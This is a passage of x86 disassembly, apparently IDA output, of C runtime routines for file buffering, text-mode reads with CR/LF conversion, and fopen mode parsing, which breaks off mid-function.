mov [ebp+var_14C], edx
cmp [ebp+var_14C], 3Fh
jle short loc_41D8CA
mov [ebp+var_14C], 3Fh
loc_41D8CA: ; CODE XREF: sub_41D470+44Ej
mov eax, [ebp+var_14C]
cmp eax, [ebp+var_14]
jz short loc_41D8DF
mov eax, 0FFFFFFF4h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D8DF: ; CODE XREF: sub_41D470+463j
mov ecx, [ebp+var_15C]
mov edx, [ecx+8]
cmp edx, [ebp+var_130]
jz short loc_41D8FA
mov eax, 0FFFFFFF3h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D8FA: ; CODE XREF: sub_41D470+47Ej
mov eax, [ebp+var_15C]
mov [ebp+var_130], eax
mov ecx, [ebp+var_168]
add ecx, 1
mov [ebp+var_168], ecx
jmp loc_41D7D6
; ---------------------------------------------------------------------------
loc_41D91A: ; CODE XREF: sub_41D470+381j
; sub_41D470+397j
cmp [ebp+var_168], 0
jz short loc_41D991
cmp [ebp+var_14], 20h
jge short loc_41D95B
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_11C]
or eax, edx
mov [ebp+var_11C], eax
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_144]
or eax, edx
mov [ebp+var_144], eax
jmp short loc_41D991
; ---------------------------------------------------------------------------
loc_41D95B: ; CODE XREF: sub_41D470+4B7j
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_150]
or eax, edx
mov [ebp+var_150], eax
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_158]
or eax, edx
mov [ebp+var_158], eax
loc_41D991: ; CODE XREF: sub_41D470+4B1j
; sub_41D470+4E9j
mov ecx, [ebp+var_130]
mov edx, [ecx+4]
cmp edx, [ebp+var_134]
jnz short loc_41D9B4
mov eax, [ebp+var_14]
mov ecx, [ebp+var_168]
cmp ecx, [ebp+eax*4+var_118]
jz short loc_41D9BE
loc_41D9B4: ; CODE XREF: sub_41D470+530j
mov eax, 0FFFFFFF2h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D9BE: ; CODE XREF: sub_41D470+542j
mov edx, [ebp+var_134]
mov eax, [edx+8]
cmp eax, [ebp+var_130]
jz short loc_41D9D9
mov eax, 0FFFFFFF1h
jmp loc_41DA89
; ---------------------------------------------------------------------------
loc_41D9D9: ; CODE XREF: sub_41D470+55Dj
mov ecx, [ebp+var_134]
add ecx, 8
mov [ebp+var_134], ecx
jmp loc_41D7AD
; ---------------------------------------------------------------------------
loc_41D9ED: ; CODE XREF: sub_41D470+146j
; sub_41D470+34Aj
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_11C]
cmp ecx, [eax+edx*4+44h]
jnz short loc_41DA1A
mov edx, [ebp+var_C]
mov eax, [ebp+var_160]
mov ecx, [ebp+var_150]
cmp ecx, [eax+edx*4+0C4h]
jz short loc_41DA21
loc_41DA1A: ; CODE XREF: sub_41D470+590j
mov eax, 0FFFFFFF0h
jmp short loc_41DA89
; ---------------------------------------------------------------------------
loc_41DA21: ; CODE XREF: sub_41D470+5A8j
mov edx, [ebp+var_128]
add edx, 8000h
mov [ebp+var_128], edx
mov eax, [ebp+var_18]
add eax, 204h
mov [ebp+var_18], eax
mov ecx, [ebp+var_4]
shl ecx, 1
mov [ebp+var_4], ecx
jmp loc_41D54A
; ---------------------------------------------------------------------------
loc_41DA4B: ; CODE XREF: sub_41D470+E7j
mov edx, [ebp+var_13C]
mov eax, [ebp+var_144]
cmp eax, [edx]
jnz short loc_41DA6C
mov ecx, [ebp+var_13C]
mov edx, [ebp+var_158]
cmp edx, [ecx+4]
jz short loc_41DA73
loc_41DA6C: ; CODE XREF: sub_41D470+5E9j
mov eax, 0FFFFFFEFh
jmp short loc_41DA89
; ---------------------------------------------------------------------------
loc_41DA73: ; CODE XREF: sub_41D470+5FAj
mov eax, [ebp+var_13C]
add eax, 14h
mov [ebp+var_13C], eax
jmp loc_41D4B3
; ---------------------------------------------------------------------------
loc_41DA87: ; CODE XREF: sub_41D470+5Ej
xor eax, eax
loc_41DA89: ; CODE XREF: sub_41D470+26j
; sub_41D470+8Ej ...
mov esp, ebp
pop ebp
retn
sub_41D470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DA90 proc near ; CODE XREF: sub_416AD0+66p
; sub_4173D0+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_41DABA
mov ecx, [ebp+arg_0]
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_41DB43
; ---------------------------------------------------------------------------
loc_41DABA: ; CODE XREF: sub_41DA90+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, off_443C7C
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_41DB03
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB03: ; CODE XREF: sub_41DA90+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_41DB14: ; CODE XREF: sub_41DA90+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call sub_427D80
add esp, 1Ch
test eax, eax
jnz short loc_41DB38
xor eax, eax
jmp short loc_41DB43
; ---------------------------------------------------------------------------
loc_41DB38: ; CODE XREF: sub_41DA90+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_41DB43: ; CODE XREF: sub_41DA90+25j
; sub_41DA90+A6j
mov esp, ebp
pop ebp
retn
sub_41DA90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB50 proc near ; CODE XREF: sub_416D80+182p
; sub_418340+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_41DB59: ; CODE XREF: sub_41DB50+31j
cmp [ebp+arg_0], 0
jnz short loc_41DB7D
push offset dword_4334B4
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41DB7D
int 3 ; Trap to Debugger
loc_41DB7D: ; CODE XREF: sub_41DB50+Dj
; sub_41DB50+2Aj
xor eax, eax
test eax, eax
jnz short loc_41DB59
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41DBA5
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_41DBAD
loc_41DBA5: ; CODE XREF: sub_41DB50+46j
or eax, 0FFFFFFFFh
jmp loc_41DD2D
; ---------------------------------------------------------------------------
loc_41DBAD: ; CODE XREF: sub_41DB50+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_41DBD0
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_41DD2D
; ---------------------------------------------------------------------------
loc_41DBD0: ; CODE XREF: sub_41DB50+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_41DBFB
mov ecx, [ebp+var_4]
push ecx
call sub_427F40
add esp, 4
jmp short loc_41DC06
; ---------------------------------------------------------------------------
loc_41DBFB: ; CODE XREF: sub_41DB50+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_41DC06: ; CODE XREF: sub_41DB50+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_41DD40
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_41DC3B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_41DC6B
loc_41DC3B: ; CODE XREF: sub_41DB50+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_41DD2D
; ---------------------------------------------------------------------------
loc_41DC6B: ; CODE XREF: sub_41DB50+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_41DCD1
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_41DCA6
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_41DCAD
; ---------------------------------------------------------------------------
loc_41DCA6: ; CODE XREF: sub_41DB50+131j
mov [ebp+var_8], offset dword_444108
loc_41DCAD: ; CODE XREF: sub_41DB50+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_41DCD1
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_41DCD1: ; CODE XREF: sub_41DB50+128j
; sub_41DB50+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_41DD04
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_41DD04
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_41DD04
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_41DD04: ; CODE XREF: sub_41DB50+18Bj
; sub_41DB50+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_41DD2D: ; CODE XREF: sub_41DB50+58j
; sub_41DB50+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41DB50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD40 proc near ; CODE XREF: sub_416D80+118p
; sub_41DB50+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_41DD71
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_41DD8C
loc_41DD71: ; CODE XREF: sub_41DD40+Dj
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_41DDBE
; ---------------------------------------------------------------------------
loc_41DD8C: ; CODE XREF: sub_41DD40+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41DDD0
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_427C70
add esp, 4
mov eax, [ebp+var_4]
loc_41DDBE: ; CODE XREF: sub_41DD40+4Aj
mov esp, ebp
pop ebp
retn
sub_41DD40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDD0 proc near ; CODE XREF: sub_41DD40+64p
; sub_428050+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_41DE0B
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_41DE12
loc_41DE0B: ; CODE XREF: sub_41DDD0+17j
xor eax, eax
jmp loc_41E211
; ---------------------------------------------------------------------------
loc_41DE12: ; CODE XREF: sub_41DDD0+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_41DEA9
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_41DEA9
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_41DEA9: ; CODE XREF: sub_41DDD0+62j
; sub_41DDD0+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov eax, [edx+ecx]
push eax
call near ptr 2730000h
nop
test eax, eax
jnz short loc_41DF28
call near ptr 26908EFh
nop
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_41DF07
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_41E211
; ---------------------------------------------------------------------------
loc_41DF07: ; CODE XREF: sub_41DDD0+118j
cmp [ebp+var_8], 6Dh
jnz short loc_41DF14
xor eax, eax
jmp loc_41E211
; ---------------------------------------------------------------------------
loc_41DF14: ; CODE XREF: sub_41DDD0+13Bj
mov edx, [ebp+var_8]
push edx
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_41E211
; ---------------------------------------------------------------------------
loc_41DF28: ; CODE XREF: sub_41DDD0+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_41E20E
cmp [ebp+var_10], 0
jz short loc_41DFA4
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_41DFA4
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DB460[edx*4]
mov [edx+eax+4], cl
jmp short loc_41DFDA
; ---------------------------------------------------------------------------
loc_41DFA4: ; CODE XREF: sub_41DDD0+18Ej
; sub_41DDD0+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4DB460[ecx*4]
mov [ecx+edx+4], al
loc_41DFDA: ; CODE XREF: sub_41DDD0+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_41DFE6: ; CODE XREF: sub_41DDD0:loc_41E200j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_41E205
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_41E05E
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_41E059
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4DB460[eax*4]
mov [eax+ecx+4], dl
loc_41E059: ; CODE XREF: sub_41DDD0+250j
jmp loc_41E205
; ---------------------------------------------------------------------------
loc_41E05E: ; CODE XREF: sub_41DDD0+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_41E08A
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_41E200
; ---------------------------------------------------------------------------
loc_41E08A: ; CODE XREF: sub_41DDD0+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_41E0E0
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_41E0BF
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_41E0DB
; ---------------------------------------------------------------------------
loc_41E0BF: ; CODE XREF: sub_41DDD0+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_41E0DB: ; CODE XREF: sub_41DDD0+2EDj
jmp loc_41E200
; ---------------------------------------------------------------------------
loc_41E0E0: ; CODE XREF: sub_41DDD0+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov eax, [edx+ecx]
push eax
call near ptr 2730000h
nop
test eax, eax
jnz short loc_41E129
nop
call near ptr 26908EFh
mov [ebp+var_8], eax
loc_41E129: ; CODE XREF: sub_41DDD0+34Ej
cmp [ebp+var_8], 0
jnz short loc_41E135
cmp [ebp+var_10], 0
jnz short loc_41E149
loc_41E135: ; CODE XREF: sub_41DDD0+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_41E200
; ---------------------------------------------------------------------------
loc_41E149: ; CODE XREF: sub_41DDD0+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_41E1B3
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_41E185
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_41E1B1
; ---------------------------------------------------------------------------
loc_41E185: ; CODE XREF: sub_41DDD0+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_41E1B1: ; CODE XREF: sub_41DDD0+3B3j
jmp short loc_41E200
; ---------------------------------------------------------------------------
loc_41E1B3: ; CODE XREF: sub_41DDD0+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_41E1D5
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_41E1D5
mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_41E200
; ---------------------------------------------------------------------------
loc_41E1D5: ; CODE XREF: sub_41DDD0+3E9j
; sub_41DDD0+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_4254B0
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_41E200
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_41E200: ; CODE XREF: sub_41DDD0+2B5j
; sub_41DDD0:loc_41E0DBj ...
jmp loc_41DFE6
; ---------------------------------------------------------------------------
loc_41E205: ; CODE XREF: sub_41DDD0+21Fj
; sub_41DDD0:loc_41E059j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_41E20E: ; CODE XREF: sub_41DDD0+184j
mov eax, [ebp+var_18]
loc_41E211: ; CODE XREF: sub_41DDD0+3Dj
; sub_41DDD0+132j ...
mov esp, ebp
pop ebp
retn
sub_41DDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E220 proc near ; CODE XREF: sub_416F50+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, dword_4DB304
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_41E23F: ; CODE XREF: sub_41E220+47j
cmp [ebp+arg_0], 0
jnz short loc_41E263
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41E263
int 3 ; Trap to Debugger
loc_41E263: ; CODE XREF: sub_41E220+23j
; sub_41E220+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_41E23F
loc_41E269: ; CODE XREF: sub_41E220+71j
cmp [ebp+arg_4], 0
jnz short loc_41E28D
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41E28D
int 3 ; Trap to Debugger
loc_41E28D: ; CODE XREF: sub_41E220+4Dj
; sub_41E220+6Aj
xor edx, edx
test edx, edx
jnz short loc_41E269
loc_41E293: ; CODE XREF: sub_41E220+9Bj
cmp [ebp+arg_C], 0
jnz short loc_41E2B7
push offset dword_4334B4
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41E2B7
int 3 ; Trap to Debugger
loc_41E2B7: ; CODE XREF: sub_41E220+77j
; sub_41E220+94j
xor eax, eax
test eax, eax
jnz short loc_41E293
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_41E2FC
cmp [ebp+var_20], 72h
jz short loc_41E2D9
cmp [ebp+var_20], 77h
jz short loc_41E2EA
jmp short loc_41E30E
; ---------------------------------------------------------------------------
loc_41E2D9: ; CODE XREF: sub_41E220+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_41E315
; ---------------------------------------------------------------------------
loc_41E2EA: ; CODE XREF: sub_41E220+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_41E315
; ---------------------------------------------------------------------------
loc_41E2FC: ; CODE XREF: sub_41E220+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_41E315
; ---------------------------------------------------------------------------
loc_41E30E: ; CODE XREF: sub_41E220+B7j
xor eax, eax
jmp loc_41E536
; ---------------------------------------------------------------------------
loc_41E315: ; CODE XREF: sub_41E220+C8j
; sub_41E220+DAj ...
mov [ebp+var_4], 1
loc_41E31C: ; CODE XREF: sub_41E220:loc_41E4BAj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_41E4BF
cmp [ebp+var_4], 0
jz loc_41E4BF
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_41E4B3
mov ecx, [ebp+var_24]
xor eax, eax
mov al, byte_41E565[ecx]
jmp off_41E53D[eax*4]
loc_41E36B: ; DATA XREF: ___:off_41E53Do
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_41E37E
mov [ebp+var_4], 0
jmp short loc_41E3A0
; ---------------------------------------------------------------------------
loc_41E37E: ; CODE XREF: sub_41E220+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_41E3A0: ; CODE XREF: sub_41E220+15Cj
jmp loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E3A5: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E551o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_41E3BB
mov [ebp+var_4], 0
jmp short loc_41E3C4
; ---------------------------------------------------------------------------
loc_41E3BB: ; CODE XREF: sub_41E220+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_41E3C4: ; CODE XREF: sub_41E220+199j
jmp loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E3C9: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E55Do
